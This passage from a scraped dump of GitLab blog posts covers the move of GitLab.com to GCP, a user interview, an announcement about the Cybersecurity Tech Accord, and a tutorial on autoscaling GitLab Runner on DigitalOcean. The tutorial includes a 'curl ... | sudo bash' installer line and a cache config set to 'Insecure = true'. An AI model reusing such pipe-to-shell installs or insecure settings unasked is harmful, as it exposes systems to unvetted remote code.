because of our desire to run GitLab on Kubernetes. Google invented Kubernetes, and GKE has the most robust and mature Kubernetes support. Migrating to GCP is the next step in our plan to make GitLab.com ready for your mission-critical workloads.\n\nOnce the migration has taken place, we’ll continue to focus on bumping up the stability and scalability of GitLab.com, by moving our worker fleet across to Kubernetes using GKE. This move will leverage our [Cloud Native charts](https://gitlab.com/charts/gitlab), which with [GitLab 11.0](/releases/2018/06/22/gitlab-11-0-released/#cloud-native-gitlab-helm-chart-now-beta) are now in beta.\n\n## How we’re preparing for the migration\n\n### Geo\n\nOne GitLab feature we are utilizing for the GCP migration is our [Geo product](https://docs.gitlab.com/ee/administration/geo/).\nGeo allows for full, read-only mirrors of GitLab instances. Besides browsing the GitLab UI, Geo instances can be used for cloning and fetching projects, allowing geographically distributed teams to collaborate more efficiently.\n\nNot only does that allow for disaster recovery in case of an unplanned outage, Geo can also be used for a planned failover to migrate GitLab instances.\n\n![GitLab Geo - Migration](https://about.gitlab.com/images/gitlab_ee/gitlab_geo_diagram_migrate.png){: .medium.center}\n\nFollowing our mantra of dogfooding everything of our product, we are using Geo to move GitLab.com from Microsoft Azure to Google Cloud Platform. Geo is working well and scales because it's been used by many customers reliably since going GA. We believe Geo will perform well during the migration and plan this event as another proof point for its value.\n\nRead more about Disaster Recovery with Geo in our [Documentation](https://docs.gitlab.com/ee/administration/geo/disaster_recovery/).\n\n#### The Geo transfer\n\nFor the past few months, we have maintained a Geo secondary site of GitLab.com, called `gprd.gitlab.com`, running on Google Cloud Platform. This secondary keeps an up-to-date synchronized copy of about 200TB of Git data and 2TB of relational data in PostgreSQL. Originally we also replicated Git LFS, File Uploads and other files, but this has since been migrated to Google Cloud Storage object storage, in a parallel effort.\n\nFor logistical reasons, we selected GCP's `us-east1` site in the US state of South Carolina. Our current Azure datacenter is in US East 2, located in Virginia. This is a round-trip distance of 800km, or 3 light-milliseconds. In reality, this translates into a 30ms ping time between the two sites.\n\nBecause of the huge amount of data we need to synchronize between Azure and GCP, we were initially concerned about this additional latency and the risk it might have on our Geo transfer. However, after our initial testing, we realized that network latency and bandwidth were not bottlenecks in the transfer.\n\n### Object storage\n\nIn parallel to the Geo transfer, we are also migrating all file artifacts, including CI Artifacts, Traces (CI log files), file attachments, LFS objects and other file uploads to [Google Cloud Storage](https://cloud.google.com/storage/) (GCS), Google's managed object storage implementation. This has involved moving about 200TB of data off our Azure-based file servers into GCS.\n\nUntil recently, GitLab.com stored these files on NFS servers, with NFS volumes mounted onto each web and API worker in the fleet. NFS is a single-point-of-failure and can be difficult to scale. Switching to GCS allows us to leverage its built-in redundancy and multi-region capabilities. This in turn will help to improve our own availability and remove single-points-of-failure from our stack. The object storage effort is part of our longer-term strategy of lifting GitLab.com infrastructure off NFS. The [Gitaly project](https://gitlab.com/gitlab-org/gitaly), a Git RPC service for GitLab, is part of the same initiative. This effort to migrate GitLab.com off NFS is also a prerequisite for our plans to move GitLab.com over to Kubernetes.\n\n### How we're working to ensure a smooth failover\n\nOnce or twice a week, several teams, including [Geo](/handbook/engineering/development/enablement/systems/geo/), [Production](https://about.gitlab.com/handbook/engineering/infrastructure/production/), and [Quality](https://about.gitlab.com/handbook/engineering/quality/), get together to jump onto a video call and conduct a rehearsal of the failover in our staging environment.\n\nLike the production event, the rehearsal takes place from Azure across to GCP. We timebox this event, and carefully monitor how long each phase takes, looking to cut time off wherever possible. The failover currently takes two hours, including quality assurance of the failover environment.\n\nThis involves four steps:\n\n- A [preflight checklist](https://gitlab.com/gitlab-com/migration/blob/master/.gitlab/issue_templates/preflight_checks.md),\n- The main [failover procedure](https://gitlab.com/gitlab-com/migration/blob/master/.gitlab/issue_templates/failover.md),\n- The [test plan](https://gitlab.com/gitlab-com/migration/blob/master/.gitlab/issue_templates/test_plan.md) to verify that everything is working, and\n- The [failback procedure](https://gitlab.com/gitlab-com/migration/blob/master/.gitlab/issue_templates/failback.md), used to undo the changes so that the staging environment is ready for the next failover rehearsal.\n\nSince these documents are stored as issue templates on GitLab, we can use them to create issues on each successive failover attempt.\n\nAs we run through each rehearsal, new bugs, edge-cases and issues are discovered. We track these issues in the [GitLab Migration tracker](https://gitlab.com/gitlab-com/migration/issues). Any changes to the failover procedure are then made as [merge requests into the issue templates](https://gitlab.com/gitlab-com/migration/merge_requests?scope=all&state=all).\n\nThis process allows us to iterate rapidly on the failover procedure, improving the failover documentation and helping the team build confidence in the procedure.\n\n## When will the migration take place?\n\nOur absolute [top priority](https://gitlab.com/gitlab-com/migration#failover-priorities) for the failover is to ensure that we protect the integrity of our users' data. We will only conduct the failover once we are completely satisfied that all serious issues have been ironed out, that there is no risk of data loss, and that our new environment on Google Cloud Platform is ready for production workloads.\n\nThe failover is currently scheduled for Saturday, July 28, 2018. We will follow this post up shortly with further information on the event and will provide plenty of advance notice.\n\nRead the most recent update on [GitLabs journey from Azure to GCP](/blog/gitlab-journey-from-azure-to-gcp/) here!\n",[923,3949,3049,2509],{"slug":33011,"featured":6,"template":678},"moving-to-gcp","content:en-us:blog:moving-to-gcp.yml","Moving To Gcp","en-us/blog/moving-to-gcp.yml","en-us/blog/moving-to-gcp",{"_path":33017,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33018,"content":33024,"config":33030,"_id":33032,"_type":16,"title":33033,"_source":17,"_file":33034,"_stem":33035,"_extension":20},"/en-us/blog/leah-petersen-user-spotlight",{"title":33019,"description":33020,"ogTitle":33019,"ogDescription":33020,"noIndex":6,"ogImage":33021,"ogUrl":33022,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33022,"schema":33023},"From motorcycle stunter to DevOps: Finding love for CI/CD","Switching to GitLab helped a newly minted DevOps engineer grasp the concept of CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663760/Blog/Hero%20Images/image-for-leah-post.jpg","https://about.gitlab.com/blog/leah-petersen-user-spotlight","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Motorcycle stunter turned DevOps engineer says GitLab helped her learn to \"love\" CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-06-21\",\n      }",{"title":33025,"description":33020,"authors":33026,"heroImage":33021,"date":33027,"body":33028,"category":8943,"tags":33029},"Motorcycle stunter turned DevOps engineer says GitLab helped her learn to \"love\" CI/CD",[29394],"2018-06-21","\nWhen professional motorcycle stuntwoman turned developer Leah Petersen switched from Jenkins to GitLab, she was a bit nervous to say the least. Having only worked in tech for nine months, the [Samsung SDS](https://www.samsungsds.com/us/en/index.html) engineer was not enthused about the prospect of having to learn a new application after feeling like she had “just started to get competent” with Jenkins.\n\nAfter a self-described mini pity party, she dove into GitLab head first, jumping into a few big ticket projects to get a handle on the landscape. Within a few short months, Petersen was so impressed by her GitLab CI/CD experience that she felt the need to shout her newfound “love” for continuous integration and continuous delivery from the virtual mountaintop of [her blog](https://leahnp.github.io/2018/moving-from-jenkins-to-gitlab-CI/).\n\nWe recently met up with Petersen to learn more about her transition to the tech world and experience with GitLab.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Avx_RftRT_o\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Q & A with Leah Petersen, DevOps Engineer\n\n**Where do you work and what does your team do?**\n\nI work for a team in Samsung SDS called the Cloud Native Computing Team, and I'm [a DevOps engineer](https://about.gitlab.com/topics/devops/what-is-a-devops-engineer/). We deal primarily with containers in Kubernetes and helping companies modernize and move to the cloud. My team is super unique. We were kind of treated like an incubated startup within Samsung, so we're really given a lot of autonomy to make our own decisions.\n\nOur team was put together about five years ago, and Samsung really made a bet on Kubernetes being the future of orchestrating huge workloads in the cloud. Initially, we were focusing mainly on research and development, contributing to the Kubernetes community and learning who was a part of it, what their motives were, and how we could find our place in it. Over the last year, Samsung has really pivoted our role in the company, and we're looking at how we can help Samsung as a global organization move to Kubernetes and containers.\n\n**Where did you work before Samsung?**\n\nI was a motorcycle stunt rider before I became an engineer, and that career kind of organically grew out of my passion for motorcycles. I started stunting, loved the community and was able to meet people all over the country and travel. Being one of the few women who did it, I organically started getting calls for jobs and gigs. I thought, “If I can do this in my 20s and make this my full-time career, I'm definitely going to take a shot at it,” so I did.\n\nIt was an amazing opportunity and experience to travel the world and meet people all over this planet who are passionate about this crazy thing that I'm also passionate about. And I got to work with a lot of amazing brands and raise awareness about the sport that I love. So, I don't have any regrets about that and cherish the time that I got to spend on a motorcycle professionally.\n\n**How did you move from being a professional motorcycle stunter to a DevOps engineer?**\n\nI had been looking for a new career path and wasn't really sure what I was going to do. I knew that I wanted to build some tangible skills. I wanted skills that had a clear market value, and tech definitely provides that.\n\nI ended up taking an online coding course in Python, and had this “aha” moment where I realized, not only can I do this, which I didn't think was previously possible, but it's fun; I really like solving these problems. At that point I started taking more online courses and learning as much as I could for free. Then I ended up finding [Ada Developers Academy](https://www.adadevelopersacademy.org/), and that was the perfect segue into the industry.\n\n> I had this “aha” moment where I realized, not only can I do this, which I didn't think was previously possible, but it's fun\n\n**Can you describe how your experience has been as woman in tech?**\n\nYou definitely get a lot of strange reactions being a woman in tech. Walking into a situation, oftentimes people are surprised you're an engineer. You'll get reactions like, “Oh, I thought you were a project manager,” or, “I thought you were a recruiter,” or whatever other stereotype that you brought into the room. That can be discouraging and makes you feel unwelcome in that space. But I think we need women in every part of tech: frontend, backend, DevOps, operations, everything. If your interest is in UX, go for that. But don't let all the men who've been in the industry for 25 years on the operations side of things scare you off either. I really think we need diverse minds and approaches to problems in the whole spectrum of it.\n\nSometimes I forget about the gender disparity in tech because my team, specifically, has a couple of really amazing women who I get to work with every day. So, I'm very fortunate. But I recently went to KubeCon in Copenhagen, and it's a amazing conference with so much energy, but it's a real wake up call when you see the gender disparity there. There's 4,000 guys walking around and you feel like you stick out [or] when you're sitting in an auditorium, look around and realize, “Oh, I'm the only lady here.” It's something that you can't look away from.\n\n**Why did you decide to go into DevOps engineering?**\n\nIn my boot camp classes we were focusing on web development and building Ruby on Rails and Node.js apps. We each had an opportunity to do an internship at companies in Seattle that support the Ada program. Samsung was one of them, and they came in to do a presentation about their involvement in open source and Kubernetes. I had no idea what they were talking about, but Kubernetes and the momentum of the open source community was really appealing to me. So I took a chance and picked Samsung, dove right in, and found my way as I went along. I'm really happy that I chose Kubernetes and to specialize in the cloud.\n\n>Kubernetes and the momentum of the open source community was really appealing to me. So I took a chance, dove right in, and found my way as I went along\n\n**How did you get started with GitLab CI/CD? And how would you describe your transition to the application?**\n\nI always felt like I was fighting with the CI platform we were on prior to GitLab. It was never really functioning how we wanted it to, and something was always kind of failing. The whole reason you have CI/CD is to get visibility into what's happening with your code, right? You want to run your code through this pipeline and make sure there are no bugs, that you’re packaging it correctly and putting it in the places that you need it to be in production. It's this hugely critical component of going from the developer's computer to the world; that's the pipeline. So you really need the visibility to see what is happening every step of the way.\n\nOn the old system, I felt that I just didn't have that visibility. I was digging for the problems and not able to understand where they were coming from, where they were originating from, why they were happening or how to fix them. I feel like GitLab definitely does a great job of assisting the user in finding the origin of a problem, tracing that step back and making it clear where your issues are and when you're having success.\n\n**How has using GitLab impacted your career and workflow?**\n\nThere's a lot of talk about accessibility and user experience in tech. And we all know what it's like to have a bad user experience with a piece of technology; it's the most frustrating thing in the entire world. As a developer, you deal with lots of different tech every single day. When I started using GitLab about a year and a half into my career, it was certainly the first platform where I was like, ‘I feel so at home here. Everything’s fluid. I can find where everything is. I understand what everything is.’ There aren't these big black holes of confusion that have me asking, “Why does this exist and what am I doing here?’”\n\nWith GitLab, everything is just this cheery, happy place. And I really appreciate how it has now set the bar for me when it comes to the way in which a technology should function when I’m working with it.\n\nCover photo by [Rendiansyah Nugroho](https://unsplash.com/photos/JUePy_-uOSI) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[7715,2509,3949,815,2368,267,4103,4772],{"slug":33031,"featured":6,"template":678},"leah-petersen-user-spotlight","content:en-us:blog:leah-petersen-user-spotlight.yml","Leah Petersen User Spotlight","en-us/blog/leah-petersen-user-spotlight.yml","en-us/blog/leah-petersen-user-spotlight",{"_path":33037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33038,"content":33043,"config":33048,"_id":33050,"_type":16,"title":33051,"_source":17,"_file":33052,"_stem":33053,"_extension":20},"/en-us/blog/gitlab-joins-msft-tech-accord",{"title":33039,"description":33040,"ogTitle":33039,"ogDescription":33040,"noIndex":6,"ogImage":14173,"ogUrl":33041,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33041,"schema":33042},"GitLab joins Cybersecurity Tech Accord","Today we're happy to announce that we're one of 11 companies joining the Cybersecurity Tech Accord.","https://about.gitlab.com/blog/gitlab-joins-msft-tech-accord","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab joins Cybersecurity Tech Accord\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2018-06-20\",\n      }",{"title":33039,"description":33040,"authors":33044,"heroImage":14173,"date":33045,"body":33046,"category":299,"tags":33047},[29725],"2018-06-20","\n\nGitLab has joined the [Cybersecurity Tech Accord](https://cybertechaccord.org/), along with 10 other companies. The Cybersecurity Tech Accord is a consortium of over 40 security-minded tech companies that pledge to work collaboratively to protect our users and customers, guided by a set of [security principles](https://cybertechaccord.org/accord/).\n\nTransparency is and has alway been one of GitLab’s [core values](https://handbook.gitlab.com/handbook/values/#transparency), and we have always strived to make information available to our users and customers. In the security industry, this is an especially challenging line to walk, and we want to contribute not only to the collaborative efforts outlined in the [Cybersecurity Tech Accord](https://cybertechaccord.org/accord/), but to also share our experiences with other tech companies on what worked well for us in the iterative process of making security more transparent.\n\nOur [security team](/handbook/security/) works hard to protect user and customer data. In addition, GitLab is committed to building [security capabilities in our product offerings](/pricing/feature-comparison/) to help our customers improve upon their software development lifecycle process.\n\nAt GitLab, we believe security is everyone’s job. The security industry has relied on collaborations with industry peers because collectively, we are able to obtain richer data and insights about our adversaries, in order to protect our users and customers. We look forward to building improved actionable data sharing and collaborative efforts with our tech peers.\n",[676,674,736],{"slug":33049,"featured":6,"template":678},"gitlab-joins-msft-tech-accord","content:en-us:blog:gitlab-joins-msft-tech-accord.yml","Gitlab Joins Msft Tech Accord","en-us/blog/gitlab-joins-msft-tech-accord.yml","en-us/blog/gitlab-joins-msft-tech-accord",{"_path":33055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33056,"content":33062,"config":33068,"_id":33070,"_type":16,"title":33071,"_source":17,"_file":33072,"_stem":33073,"_extension":20},"/en-us/blog/autoscale-continuous-deployment-gitlab-runner-digital-ocean",{"title":33057,"description":33058,"ogTitle":33057,"ogDescription":33058,"noIndex":6,"ogImage":33059,"ogUrl":33060,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33060,"schema":33061},"How to autoscale continuous deployment with GitLab Runner on DigitalOcean","Our friends over at DigitalOcean share how to configure a highly scalable, responsive and cost-effective GitLab infrastructure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680042/Blog/Hero%20Images/gitlab-digitalocean-cover.jpg","https://about.gitlab.com/blog/autoscale-continuous-deployment-gitlab-runner-digital-ocean","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to autoscale continuous deployment with GitLab Runner on DigitalOcean\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Owen Williams\"}],\n        \"datePublished\": \"2018-06-19\",\n      }",{"title":33057,"description":33058,"authors":33063,"heroImage":33059,"date":33065,"body":33066,"category":734,"tags":33067},[33064],"Owen Williams","2018-06-19","\n\n[GitLab CI/CD](/solutions/continuous-integration/) is an effective way to build the habit of testing all code before it’s deployed. GitLab CI/CD is also highly scalable thanks to an additional tool, GitLab Runner, which automates scaling your build queue in order to avoid long wait times for development teams trying to release code.\n\nIn this guide, we will demonstrate how to configure a highly scalable GitLab infrastructure that manages its own costs, and automatically responds to load by increasing and decreasing available server capacity.\n\n## Goals\n\nWe’re going to build a scalable CI/CD process on DigitalOcean that automatically responds to demand by creating new servers on the platform and destroys them when the queue is empty.\n\nThese reusable servers are spawned by the GitLab Runner process and are automatically deleted when no jobs are running, reducing costs and administration overhead for your team.\n\nAs we’ll explain in this tutorial, you are in control of how many machines are created at any given time, as well as the length of time they’re retained before being destroyed.\n\nWe’ll be using three separate servers to build this project, so let’s go over terminology first:\n\n* **GitLab**: Your hosted GitLab instance or self-managed instance where your code repositories are stored.\n\n* **GitLab Bastion**: The *bastion* server or Droplet is the core of what we’ll be configuring. It is the control instance that is used to interact with the DigitalOcean API to create Droplets and destroy them when necessary. No jobs are executed on this server.\n\n* **GitLab Runner**: Your *runners* are transient servers or Droplets that are created on the fly by the *bastion* server when needed to execute a CI/CD job in your build queue. These servers are disposable, and are where your code is executed or tested before your build is marked as passing or failing.\n\n![GitLab Runners Diagram](https://assets.digitalocean.com/articles/gitlab-runner/Autoscaling-GitLab-Runners.png){: .medium.center}\n\nBy leveraging each of the GitLab components, the CI/CD process will enable you to scale responsively based on demands. With these goals in mind, we are ready to begin setting up our [continuous deployment](/topics/ci-cd/) with GitLab and DigitalOcean.\n\n## Prerequisites\n\nThis tutorial will assume you have already configured GitLab on your own server or through the hosted service, and that you have an existing DigitalOcean account.\n\nTo set this up on an Ubuntu 16.04 Droplet, you can use the DigitalOcean one-click image, or follow our guide: “[How To Install and Configure GitLab on Ubuntu 16.04](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-gitlab-on-ubuntu-16-04).”\n\nFor the purposes of this tutorial, we assume you have private networking enabled on this Droplet, which you can achieve by following our guide on “[How To Enable DigitalOcean Private Networking on Existing Droplets](https://www.digitalocean.com/community/tutorials/how-to-enable-digitalocean-private-networking-on-existing-droplets),” but it is not compulsory.\n\nThroughout this tutorial, we’ll be using non-root users with admin privileges on our Droplets.\n\n## Step 1: Import JavaScript project\nTo begin, we will create a new example project in your existing GitLab instance containing a sample Node.js application.\n\n![GitLab interface](https://assets.digitalocean.com/articles/gitlab-runner/gitlab.jpg){: .shadow.large.center}\n\nLog into your GitLab instance and click the **plus icon**, then select **New project** from the dropdown menu.\n\nOn the new project screen, select the **Import project** tag, then click **Repo by URL** to import our example project directly from GitHub.\n\nPaste the below clone URL into the Git repository URL:\n\n```bash\nhttps://github.com/do-community/hello_hapi.git\n```\n\nThis repository is a basic JavaScript application for the purposes of demonstration, which we won’t be running in production. To complete the import, click the **New Project** button.\n\nYour new project will now be in GitLab and we can get started setting up our CI pipeline.\n\n## Step 2: Set up infrastructure\n\nOur GitLab Code Runner requires specific configuration as we’re planning to programmatically create Droplets to handle CI load as it grows and shrinks.\n\nWe will create two types of machines in this tutorial: a **bastion** instance, which controls and spawns new machines, and our **runner** instances, which are temporary servers spawned by the bastion Droplet to build code when required. The bastion instance uses Docker to create your runners.\n\nHere are the DigitalOcean products we’ll use, and what each component is used for:\n\n* **Flexible Droplets** — We will create memory-optimized Droplets for our GitLab Runners as it’s a memory-intensive process which will run using Docker for containerization. You can shrink or grow this Droplet in the future as needed, however we recommend the flexible Droplet option as a starting point to understand how your pipeline will perform under load.\n\n* **DigitalOcean Spaces (Object Storage)** — We will use [DigitalOcean Spaces](https://www.digitalocean.com/products/spaces/) to persist cached build components across your runners as they’re created and destroyed. This reduces the time required to set up a new runner when the CI pipeline is busy, and allows new runners to pick up where others left off immediately.\n\n* **Private Networking** — We will create a private network for your bastion Droplet and GitLab runners to ensure secure code compilation and to reduce firewall configuration required.\n\nTo start, we’ll create the bastion Droplet. Create a [new Droplet](https://cloud.digitalocean.com/droplets/new), then under **choose an image**, select the **One-click apps** tab. From there, select **Docker 17.12.0-ce on 16.04** (note that this version is current at the time of writing), then choose the smallest Droplet size available, as our bastion Droplet will manage the creation of other Droplets rather than actually perform tests.\n\nIt is recommended that you create your server in a data center that includes  [DigitalOcean Spaces](https://www.digitalocean.com/community/tutorials/an-introduction-to-digitalocean-spaces) in order to use the object storage caching features mentioned earlier.\n\nSelect both the **Private networking** and **Monitoring** options, then click **Create Droplet**.\n\nWe also need to set up our storage space which will be used for caching. Follow the steps in “[How To Create a DigitalOcean Space and API Key](https://www.digitalocean.com/community/tutorials/how-to-create-a-digitalocean-space-and-api-key)” to create a new Space in the same or nearest data center as your hosted GitLab instance, along with an API Key.\n\nNote this key down, as we’ll need it later in the tutorial.\n\nNow it’s time to get our CI started!\n\n## Step 3: Configure the GitLab Runner Bastion Server\n\nWith the fresh Droplet ready, we can now configure GitLab Runner. We’ll be installing scripts from GitLab and GitHub repositories.\n\nAs a best practice, be sure to inspect scripts to confirm what you will be installing prior to running the full commands below.\n\nConnect to the Droplet using SSH, move into the `/tmp` directory, then add the [official GitLab Runner repository](https://docs.gitlab.com/runner/install/linux-repository.html) to Ubuntu’s package manager:\n\n```bash\ncd /tmp\ncurl -L https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh | sudo bash\n```\n\nOnce added, install the GitLab Runner application:\n\n```bash\nsudo apt-get install gitlab-runner\n```\n\nWe also need to install **[Docker Machine](https://docs.docker.com/machine/install-machine/#install-machine-directly)**, which is an additional Docker tool that assists with automating the deployment of containers on cloud providers:\n\n```bash\ncurl -L https://github.com/docker/machine/releases/download/v0.14.0/docker-machine-`uname -s`-`uname -m` >/tmp/docker-machine && \\\nsudo install /tmp/docker-machine /usr/local/bin/docker-machine\n```\n\nWith these installations complete, we can move on to connecting our GitLab Runner to our GitLab install.\n\n## Step 4: Obtain Runner registration token\n\nTo link GitLab Runner to your existing GitLab install, we need to link the two instances together by obtaining a token that authenticates your runner to your code repositories.\n\nLogin to your existing GitLab instance as the admin user, then click the wrench icon to enter the admin settings area.\n\nOn the left of your screen, hover over **Overview** and select **Runners** from the list that appears.\n\nOn the Runners page under the **How to set up a shared Runner for a new project** section, copy the token shown in Step 3, and make a note of it along with the publicly accessible URL of your GitLab instance from Step 2. If you are using HTTPS for Gitlab, make sure it is not a self-signed certificate, or GitLab Runner will fail to start.\n\n## Step 5: Configure GitLab on the Bastion Droplet\n\nBack in your SSH connection with your bastion Droplet, run the following command:\n\n```bash\nsudo gitlab-runner register\n```\n\nThis will initiate the linking process, and you will be asked a series of questions.\n\nOn the next step, enter the **GitLab instance URL** from the previous step:\n\n```bash\nPlease enter the gitlab-ci coordinator URL (e.g. https://gitlab.com)\nhttps://example.digitalocean.com\n```\n\nEnter the token you obtained from your GitLab instance:\n\n```bash\nPlease enter the gitlab-ci token for this runner\nsample-gitlab-ci-token\n```\n\nEnter a description that will help you recognize it in the GitLab web interface. We recommend naming this instance something unique, like `runner-bastion` for clarity.\n\n```bash\nPlease enter the gitlab-ci description for this runner\n[yourhostname] runner-bastion\n```\n\nIf relevant, you may enter the tags for code you will build with your runner. However, we recommend this is left blank at this stage. This can easily be changed from the GitLab interface later.\n\n```bash\nPlease enter the gitlab-ci tags for this runner (comma separated):\ncode-tag\n```\n\nChoose whether or not your runner should be able to run untagged jobs. This setting allows you to choose whether your runner should build repositories with no tags at all, or require specific tags. Select true in this case, so your runner can execute all repositories.\n\n```bash\nWhether to run untagged jobs [true/false]: true\n```\n\nChoose if this runner should be shared among your projects, or locked to the current one, which blocks it from building any code other than those specified. Select false for now, as this can be changed later in GitLab’s interface:\n\n```bash\nWhether to lock Runner to current project [true/false]: false\n```\n\nChoose the executor which will build your machines. Because we’ll be creating new Droplets using Docker, we’ll choose `docker+machine` here, but you can read more about the advantages of each approach in this [compatibility chart](https://docs.gitlab.com/runner/executors/README.html#compatibility-chart):\n\n```bash\nPlease enter the executor: ssh, docker+machine, docker-ssh+machine, kubernetes, docker, parallels, virtualbox, docker-ssh, shell:\ndocker+machine\n```\n\nYou’ll be asked which image to use for projects that don’t explicitly define one. We’ll choose a basic, secure default:\n\n```bash\nPlease enter the Docker image (e.g. ruby:2.1):\nalpine:latest\n```\n\nNow you’re done configuring the core bastion runner! At this point it should appear within the GitLab Runner page of your GitLab admin settings, which we accessed to obtain the token.\n\nIf you encounter any issues with these steps, the [GitLab Runner documentation](https://docs.gitlab.com/runner/register/index.html) includes options for troubleshooting.\n\n## Step 6: Configure Docker caching and Docker Machine\nTo speed up Droplet creation when the build queue is busy, we’ll leverage Docker’s caching tools on the Bastion Droplet to store the images for your commonly used containers on DigitalOcean Spaces.\n\nTo do so, upgrade Docker Machine on your SSH shell using the following command:\n\n```bash\ncurl -L https://github.com/docker/machine/releases/download/v0.14.0/docker-machine-`uname -s`-`uname -m` >/tmp/docker-machine && sudo install /tmp/docker-machine /usr/local/bin/docker-machine\n```\n\nWith Docker Machine upgraded, we can move on to setting up our access tokens for GitLab Runner to use.\n\n## Step 7: Gather DigitalOcean credentials\n\nNow we need to create the credentials that GitLab Runner will use to create new Droplets using your DigitalOcean account.\n\nVisit your DigitalOcean [dashboard](https://cloud.digitalocean.com) and click **API**. On the next screen, look for **Personal access tokens** and click **Generate New Token**.\n\nGive the new token a name you will recognize such as `GitLab Runner Access` and ensure that both the read and write scopes are enabled, as we need the Droplet to create new machines without human intervention.\n\nCopy the token somewhere safe as we’ll use it in the next step. You can’t retrieve this token again without regenerating it, so be sure it’s stored securely.\n\n## Step 8: Edit GitLab Runner configuration files\nTo bring all of these components together, we need to finish configuring our bastion Droplet to communicate with your DigitalOcean account.\n\nIn your SSH connection to your bastion Droplet, use your favorite text editor, such as nano, to open the GitLab Runner configuration file for editing:\n\n```bash\nnano /etc/gitlab-runner/config.toml\n```\n\nThis configuration file is responsible for the rules your CI setup uses to scale up and down on demand. To configure the bastion to autoscale on demand, you need to add the following lines:\n\n```bash\nconcurrent = 50   # All registered Runners can run up to 50 concurrent builds\n\n[[runners]]\n  url = \"https://example.digitalocean.com\"\n  token = \"existinggitlabtoken\"             # Note this is different from the registration token used by `gitlab-runner register`\n  name = \"example-runner\"\n  executor = \"docker+machine\"        # This Runner is using the 'docker+machine' executor\n  limit = 10                         # This Runner can execute up to 10 builds (created machines)\n  [runners.docker]\n    image = \"alpine:latest\"               # Our secure image\n  [runners.machine]\n    IdleCount = 1                    # The amount of idle machines we require for CI if build queue is empty\n    IdleTime = 600                   # Each machine can be idle for up to 600 seconds, then destroyed\n    MachineName = \"gitlab-runner-autoscale-%s\"    # Each machine will have a unique name ('%s' is required and generates a random number)\n    MachineDriver = \"digitalocean\"   # Docker Machine is using the 'digitalocean' driver\n    MachineOptions = [\n        \"digitalocean-image=coreos-stable\", # The DigitalOcean system image to use by default\n        \"digitalocean-ssh-user=core\", # The default SSH user\n        \"digitalocean-access-token=DO_ACCESS_TOKEN\", # Access token from Step 7\n        \"digitalocean-region=nyc3\", # The data center to spawn runners in\n        \"digitalocean-size=1gb\", # The size (and price category) of your spawned runners\n        \"digitalocean-private-networking\" # Enable private networking on runners\n    ]\n  [runners.cache]\n    Type = \"s3\"   # The Runner is using a distributed cache with the S3-compatible Spaces service\n    ServerAddress = \"nyc3.spaces.digitaloceanspaces.com\"\n    AccessKey = \"YOUR_SPACES_KEY\"\n    SecretKey = \"YOUR_SPACES_SECRET\"\n    BucketName = \"your_bucket_name\"\n    Insecure = true # We do not have a SSL certificate, as we are only running locally\n```\n\nOnce you’ve added the new lines, customize the access token, region and Droplet size based on  your setup. For the purposes of this tutorial, we’ve used the smallest Droplet size of 1GB and created our Droplets in NYC3. Be sure to use the information that is relevant in your case.\n\nYou also need to customize the cache component, and enter your Space’s server address from the infrastructure configuration step, access key, secret key and the name of the Space that you created.\n\nWhen completed, restart GitLab Runner to make sure the configuration is being used:\n\n```bash\ngitlab-runner restart\n```\n\nIf you would like to learn about more all available options, including off-peak hours, you can read [GitLab’s advanced documentation](https://docs.gitlab.com/runner/configuration/autoscale.html).\n\n## Step 9 — Test Your GitLab Runner\n\nAt this point, our GitLab Runner bastion Droplet is configured and is able to create DigitalOcean Droplets on demand, as the CI queue fills up. We’ll need to test it to be sure it works by heading to your GitLab instance and the project we imported in Step 1.\n\nTo trigger a build, edit the `readme.md` file by clicking on it, then clicking **edit**, and add any relevant testing text to the file, then click **Commit changes**.\n\nNow a build will be automatically triggered, which can be found under the project’s **CI/CD** option in the left navigation.\n\nOn this page you should see a pipeline entry with the status of **running**. In your DigitalOcean account, you’ll see a number of Droplets automatically created by GitLab Runner in order to build this change.\n\nCongratulations! Your CI pipeline is cloud scalable and now manages its own resource usage. After the specified idle time, the machines should be automatically destroyed, but we recommend verifying this manually to ensure you aren’t unexpectedly billed.\n\n## Troubleshooting\n\nIn some cases, GitLab may report that the runner is unreachable and as a result perform no actions, including deploying new runners. You can troubleshoot this by stopping GitLab Runner, then starting it again in debug mode:\n\n```bash\ngitlab-runner stop\ngitlab-runner --debug start\n```\n\nThe output should throw an error, which will be helpful in determining which configuration is causing the issue.\n\nIf your configuration creates too many machines, and you wish to remove them all at the same time, you can run this command to destroy them all:\n\n```bash\ndocker-machine rm $(docker-machine ls -q)\n```\nFor more troubleshooting steps and additional configuration options, you can refer to [GitLab’s documentation](https://docs.gitlab.com/runner/).\n\n## Conclusion\n\nYou've successfully set up an automated CI/CD pipeline using GitLab Runner and Docker. From here, you could configure higher levels of caching with Docker Registry to optimize performance or explore the use of tagging code builds to specific GitLab code runners.\n\nFor more on GitLab Runner, [see the detailed documentation](https://docs.gitlab.com/runner/), or to learn more, you can read [GitLab’s series of blog posts](https://docs.gitlab.com/ee/ci/) on how to make the most of your continuous integration pipeline.\n\n[This post was originally published by DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-autoscale-gitlab-continuous-deployment-with-gitlab-runner-on-digitalocean) and is licensed under [CC BY-NC-SA 